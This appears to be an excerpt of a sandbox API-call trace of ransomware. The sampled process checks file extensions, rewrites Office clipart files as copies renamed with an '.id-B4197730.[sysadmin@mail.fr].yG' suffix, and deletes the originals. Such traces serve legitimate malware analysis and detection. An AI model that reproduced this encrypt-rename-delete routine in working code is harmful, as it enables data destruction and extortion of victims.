	[0151.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.419] lstrlenW (lpString=".rar") returned 4
	[0151.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.419] lstrlenW (lpString=".bz2") returned 4
	[0151.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.419] lstrlenW (lpString=".7z") returned 3
	[0151.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.419] lstrlenW (lpString=".dbf") returned 4
	[0151.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.419] lstrlenW (lpString=".1cd") returned 4
	[0151.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.419] lstrlenW (lpString=".jpg") returned 4
	[0151.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.419] lstrlenW (lpString=".doc") returned 4
	[0151.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.419] lstrlenW (lpString=".docx") returned 5
	[0151.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.419] lstrlenW (lpString=".pdf") returned 4
	[0151.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.419] lstrlenW (lpString=".xls") returned 4
	[0151.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.420] lstrlenW (lpString=".xlsx") returned 5
	[0151.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.420] lstrlenW (lpString=".ppt") returned 4
	[0151.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.420] lstrlenW (lpString=".zip") returned 4
	[0151.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.420] lstrlenW (lpString=".rar") returned 4
	[0151.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.420] lstrlenW (lpString=".bz2") returned 4
	[0151.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.420] lstrlenW (lpString=".7z") returned 3
	[0151.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.420] lstrlenW (lpString=".dbf") returned 4
	[0151.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.420] lstrlenW (lpString=".1cd") returned 4
	[0151.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.420] lstrlenW (lpString=".jpg") returned 4
	[0151.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.420] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.420] lstrlenW (lpString="HM00005_.WMF") returned 12
	[0151.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.421] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=23300) returned 1
	[0151.421] CloseHandle (hObject=0x52c) returned 1
	[0151.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220
	[0151.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.422] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.422] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.423] GetLastError () returned 0x0
	[0151.423] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x5b04, lpOverlapped=0x0) returned 1
	[0151.683] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x5b10, lpOverlapped=0x0) returned 1
	[0151.685] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.692] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.692] SetEndOfFile (hFile=0x550) returned 1
	[0151.790] CloseHandle (hObject=0x550) returned 1
	[0151.790] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.790] SetEndOfFile (hFile=0x52c) returned 1
	[0151.795] CloseHandle (hObject=0x52c) returned 1
	[0151.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1
	[0151.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.798] lstrlenW (lpString=".doc") returned 4
	[0151.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.798] lstrlenW (lpString=".docx") returned 5
	[0151.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.799] lstrlenW (lpString=".pdf") returned 4
	[0151.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.799] lstrlenW (lpString=".xls") returned 4
	[0151.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.799] lstrlenW (lpString=".xlsx") returned 5
	[0151.799] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.799] lstrlenW (lpString=".ppt") returned 4
	[0151.799] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.799] lstrlenW (lpString=".zip") returned 4
	[0151.799] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.799] lstrlenW (lpString=".rar") returned 4
	[0151.799] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.799] lstrlenW (lpString=".bz2") returned 4
	[0151.799] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.799] lstrlenW (lpString=".7z") returned 3
	[0151.799] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.799] lstrlenW (lpString=".dbf") returned 4
	[0151.799] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.800] lstrlenW (lpString=".1cd") returned 4
	[0151.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.800] lstrlenW (lpString=".jpg") returned 4
	[0151.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.800] lstrlenW (lpString=".doc") returned 4
	[0151.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.800] lstrlenW (lpString=".docx") returned 5
	[0151.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.800] lstrlenW (lpString=".pdf") returned 4
	[0151.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.800] lstrlenW (lpString=".xls") returned 4
	[0151.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.800] lstrlenW (lpString=".xlsx") returned 5
	[0151.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.800] lstrlenW (lpString=".ppt") returned 4
	[0151.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.801] lstrlenW (lpString=".zip") returned 4
	[0151.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.801] lstrlenW (lpString=".rar") returned 4
	[0151.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.801] lstrlenW (lpString=".bz2") returned 4
	[0151.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.801] lstrlenW (lpString=".7z") returned 3
	[0151.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.801] lstrlenW (lpString=".dbf") returned 4
	[0151.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.801] lstrlenW (lpString=".1cd") returned 4
	[0151.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0151.801] lstrlenW (lpString=".jpg") returned 4
	[0151.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.802] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.802] lstrlenW (lpString="IN00046_.WMF") returned 12
	[0151.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.804] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=1158) returned 1
	[0151.804] CloseHandle (hObject=0x52c) returned 1
	[0151.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 0x220
	[0151.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.805] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.805] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.806] GetLastError () returned 0x0
	[0151.806] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x486, lpOverlapped=0x0) returned 1
	[0151.816] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x490, lpOverlapped=0x0) returned 1
	[0151.817] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.817] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.817] SetEndOfFile (hFile=0x550) returned 1
	[0151.818] CloseHandle (hObject=0x550) returned 1
	[0151.818] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.818] SetEndOfFile (hFile=0x52c) returned 1
	[0151.822] CloseHandle (hObject=0x52c) returned 1
	[0151.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00046_.wmf")) returned 1
	[0151.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.824] lstrlenW (lpString=".doc") returned 4
	[0151.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.824] lstrlenW (lpString=".docx") returned 5
	[0151.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.824] lstrlenW (lpString=".pdf") returned 4
	[0151.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.824] lstrlenW (lpString=".xls") returned 4
	[0151.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.824] lstrlenW (lpString=".xlsx") returned 5
	[0151.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.824] lstrlenW (lpString=".ppt") returned 4
	[0151.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.824] lstrlenW (lpString=".zip") returned 4
	[0151.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.825] lstrlenW (lpString=".rar") returned 4
	[0151.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.825] lstrlenW (lpString=".bz2") returned 4
	[0151.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.825] lstrlenW (lpString=".7z") returned 3
	[0151.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.825] lstrlenW (lpString=".dbf") returned 4
	[0151.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.825] lstrlenW (lpString=".1cd") returned 4
	[0151.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.825] lstrlenW (lpString=".jpg") returned 4
	[0151.825] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.825] lstrlenW (lpString=".doc") returned 4
	[0151.825] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.825] lstrlenW (lpString=".docx") returned 5
	[0151.826] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.826] lstrlenW (lpString=".pdf") returned 4
	[0151.826] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.826] lstrlenW (lpString=".xls") returned 4
	[0151.826] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.826] lstrlenW (lpString=".xlsx") returned 5
	[0151.826] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.826] lstrlenW (lpString=".ppt") returned 4
	[0151.826] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.826] lstrlenW (lpString=".zip") returned 4
	[0151.826] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.826] lstrlenW (lpString=".rar") returned 4
	[0151.826] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.826] lstrlenW (lpString=".bz2") returned 4
	[0151.826] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.826] lstrlenW (lpString=".7z") returned 3
	[0151.826] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.826] lstrlenW (lpString=".dbf") returned 4
	[0151.826] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.827] lstrlenW (lpString=".1cd") returned 4
	[0151.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00046_.WMF") returned 68
	[0151.827] lstrlenW (lpString=".jpg") returned 4
	[0151.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.827] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.827] lstrlenW (lpString="IN00118_.WMF") returned 12
	[0151.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.828] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=792) returned 1
	[0151.828] CloseHandle (hObject=0x52c) returned 1
	[0151.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220
	[0151.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.829] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.829] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.830] GetLastError () returned 0x0
	[0151.830] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x318, lpOverlapped=0x0) returned 1
	[0151.838] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x320, lpOverlapped=0x0) returned 1
	[0151.839] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.839] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.840] SetEndOfFile (hFile=0x550) returned 1
	[0151.840] CloseHandle (hObject=0x550) returned 1
	[0151.840] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.840] SetEndOfFile (hFile=0x52c) returned 1
	[0151.843] CloseHandle (hObject=0x52c) returned 1
	[0151.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1
	[0151.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.845] lstrlenW (lpString=".doc") returned 4
	[0151.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.845] lstrlenW (lpString=".docx") returned 5
	[0151.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.845] lstrlenW (lpString=".pdf") returned 4
	[0151.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.845] lstrlenW (lpString=".xls") returned 4
	[0151.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.845] lstrlenW (lpString=".xlsx") returned 5
	[0151.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.846] lstrlenW (lpString=".ppt") returned 4
	[0151.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68
	[0151.846] lstrlenW (lpString=".zip") returned 4
